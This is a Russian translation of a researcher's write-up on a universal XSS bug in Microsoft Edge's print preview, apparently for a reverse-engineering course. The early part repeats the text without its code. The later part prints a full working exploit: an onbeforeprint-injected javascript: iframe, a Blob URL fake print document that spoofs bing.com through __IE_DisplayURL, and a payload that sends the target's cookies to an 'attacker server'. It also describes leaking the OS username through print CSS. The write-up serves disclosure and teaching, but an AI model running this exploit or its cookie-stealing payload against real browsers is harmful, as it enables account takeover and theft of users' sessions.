Перевод статьи подготовлен специально для студентов курса «Реверс-инжиниринг».
Универсальный XSS (uXSS) – это баг браузера, который дает возможность выполнять код на JavaScript на любом сайте.
Кажется, будто XSS есть на всех сайтах и выглядит это очень интересно. Что еще интереснее, так это то, как я нашел эту ошибку. Обычно, если речь заходит о uXSS, то это скорее всего связано с элементом IFRAME или возней с URL, но я никогда не думал, что найду XSS-уязвимость, используя функцию
Давайте поговорим о том, что на самом деле происходит, когда Edge отображает окно предварительного просмотра печати.
Я всегда думал, что там находится просто скриншот, отрисованный технологией типа Canvas, но на самом деле страница, которую вы собираетесь печатать, копируется в temp и повторно рендерится!
Когда на странице выполняется
Итак, файл создается во временной директории Edge, и содержимое этого файла представляет собой слегка измененную версию исходной страницы, которую мы пытались распечатать. Давайте сравним.
Перед печатью:
После печати:
Есть несколько вещей, которые мы можем заметить из этого сравнения.
В отношении первого и второго пункта я провел несколько тестов. Сначала я хотел понять, могу ли я получить валидный Javascript-код после смены кодировки, в надежде, что в итоге я смогу выполнить Javascript. Оказалось, что любой код внутри элемента
Второй пункт помог мне раскрыть имя пользователя операционной системы с помощью функционала
Вот на третьем пункте стало интересно, поскольку этот атрибут крайне необычный и до этого момента я с ним не встречался. Я сразу же его загуглил и нашел несколько статей, исходя из которых понял, что некто Масато Кинугава уже поиграл с ним и обнаружил крутые баги.
После чтения и некоторой практики, я обнаружил, что контекст предварительного просмотра узнает из этого атрибута откуда появляется документ. Это имеет смысл, поскольку Edge открывает файлы с помощью
Как мы можем использовать этот атрибут? Должен же быть какой-то способ!
Как я уже говорил, любой код на JavaScript, находящийся в нормальном теге script будет заблокирован или просто проигнорирован. Но что если мыслить в другом направлении? Я перепробовал все, что только мог придумать, поэтому избавлю вас от траты времени на множество неудачных попыток и перейду сразу к делу.
Здесь мы имеем дело с функцией печати, поэтому я играл с событиями, относящимися к печати. Результат мне принесло
Тест Javascript-инъекции:
После конвертации предварительного просмотра документа:
Скриншот результата:
То, что мы умеем выполнять код еще не значит, что мы закончили. Как я уже говорил ранее, из-за атрибута
Теперь, когда мы умеем внедрять свой исполняемый код, нам нужно каким-то образом создать свой собственный «предварительный просмотр документа» с нашим собственным
Я обнаружил, что с помощью Blob URL я смогу добиться нужного эффекта! Поэтому я сделал свой собственный документ для печати со своим атрибутом, указывающим на целевой сайт (в моем случае
Я внедрил следующий код:
Где
Все, что я делаю – это читаю
А теперь обобщим то, что делает финальная версия эксплойта:
Полезные ссылки:
→ Microsoft.com
Универсальный XSS (uXSS) – это баг браузера, который дает возможность выполнять код на JavaScript на любом сайте.
Кажется, будто XSS есть на всех сайтах и выглядит это очень интересно. Что еще интереснее, так это то, как я нашел эту ошибку. Обычно, если речь заходит о uXSS, то это скорее всего связано с элементом IFRAME или возней с URL, но я никогда не думал, что найду XSS-уязвимость, используя функцию
print()
.Окно предварительного просмотра
Давайте поговорим о том, что на самом деле происходит, когда Edge отображает окно предварительного просмотра печати.
Я всегда думал, что там находится просто скриншот, отрисованный технологией типа Canvas, но на самом деле страница, которую вы собираетесь печатать, копируется в temp и повторно рендерится!
Когда на странице выполняется
print()
, мы видим следующую активность файловой системы в Process Monitor: Итак, файл создается во временной директории Edge, и содержимое этого файла представляет собой слегка измененную версию исходной страницы, которую мы пытались распечатать. Давайте сравним.
Перед печатью:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
После печати:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML>
Есть несколько вещей, которые мы можем заметить из этого сравнения.
- Javascript кодируется и рендерится неправильно.
- Теперь IFRAME указывает на другой локальный файл в той же самой директории, которая содержит исходный код оригинальной ссылки
bing.com
. - У HTML элемента теперь есть своеобразный атрибут
__IE_DisplayURL
.
В отношении первого и второго пункта я провел несколько тестов. Сначала я хотел понять, могу ли я получить валидный Javascript-код после смены кодировки, в надежде, что в итоге я смогу выполнить Javascript. Оказалось, что любой код внутри элемента
<
script>
, нормальный или нет, выполняться не будет.Второй пункт помог мне раскрыть имя пользователя операционной системы с помощью функционала
@media print{}
в CSS и магии селекторов. Я смог получить его из значения IFRAME href. Однако и этого было недостаточно.Вот на третьем пункте стало интересно, поскольку этот атрибут крайне необычный и до этого момента я с ним не встречался. Я сразу же его загуглил и нашел несколько статей, исходя из которых понял, что некто Масато Кинугава уже поиграл с ним и обнаружил крутые баги.
После чтения и некоторой практики, я обнаружил, что контекст предварительного просмотра узнает из этого атрибута откуда появляется документ. Это имеет смысл, поскольку Edge открывает файлы с помощью
file:
URI схемы. С помощью этого атрибута, указывающего на источник, вы заметите, что все запросы, поступающие от документа (в рамках предварительного просмотра), будут имитировать точно такое же поведение, как если бы они поступали с исходного веб-сайта.Как мы можем использовать этот атрибут? Должен же быть какой-то способ!
Выполнение кода на Javascript с помощью предварительного просмотра
Как я уже говорил, любой код на JavaScript, находящийся в нормальном теге script будет заблокирован или просто проигнорирован. Но что если мыслить в другом направлении? Я перепробовал все, что только мог придумать, поэтому избавлю вас от траты времени на множество неудачных попыток и перейду сразу к делу.
Здесь мы имеем дело с функцией печати, поэтому я играл с событиями, относящимися к печати. Результат мне принесло
"onbeforeprint"
, с помощью него я получил возможность внедрять IFRAME, который указывал на любой веб-сайт и Edge не нужно было конвертировать его сначала в файл. Почти сразу я попытался внедрить IFRAME, который указывал на URL-адрес Javascript-кода и та-дам! Этот код выполнялся в контексте предварительного просмотра.Тест Javascript-инъекции:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
После конвертации предварительного просмотра документа:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</SCRIPT>
</BODY></HTML>
Скриншот результата:
То, что мы умеем выполнять код еще не значит, что мы закончили. Как я уже говорил ранее, из-за атрибута
__IE_DisplayURL
любой запрос или вызов API будут рассматриваться, как исходящие от документа.Реализация uXSS
Теперь, когда мы умеем внедрять свой исполняемый код, нам нужно каким-то образом создать свой собственный «предварительный просмотр документа» с нашим собственным
__IE_DisplayURL
, а затем мы сможем сымитировать любой веб-сайт, который выберем для uXSS.Я обнаружил, что с помощью Blob URL я смогу добиться нужного эффекта! Поэтому я сделал свой собственный документ для печати со своим атрибутом, указывающим на целевой сайт (в моем случае
bing.com
). Он содержал Javascript IFRAME, который выполнялся, как будто он исходит от bing.com
.Я внедрил следующий код:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
Где
top.document.getElementById('qd').value
— это следующий фейковый документ для печати.<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
Все, что я делаю – это читаю
document.cookie
и отправляю их обратно серверу.А теперь обобщим то, что делает финальная версия эксплойта:
- Используя событие
onbeforeprint
, я внедряю IFRAME, который указывает на мою полезную нагрузку непосредственно перед печатью. - Для инициализации я вызываю
window.print()
. - Затем Edge отображает окно предварительного просмотра во время рендеринга моего внедренного кода;
- Внедренный Javascript-код создал Blob URL-адрес, который содержит мой собственный документ для печати
bing.com
и перенаправляет верхний фрейм на этот адрес. - Контекст предварительного просмотра печати думает, что содержимое моего Blob URL-адреса – настоящий документ для печати и устанавливает происхождение документа как
bing.com
с помощью атрибута__IE_DisplayURL
. - Фейковый документ для печати сам по себе содержит другой IFRAME, который просто отображает
document.cookie
источникаbing.com
. - uXSS работает!
Итоговый код и видео
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>
Полезные ссылки:
→ Microsoft.com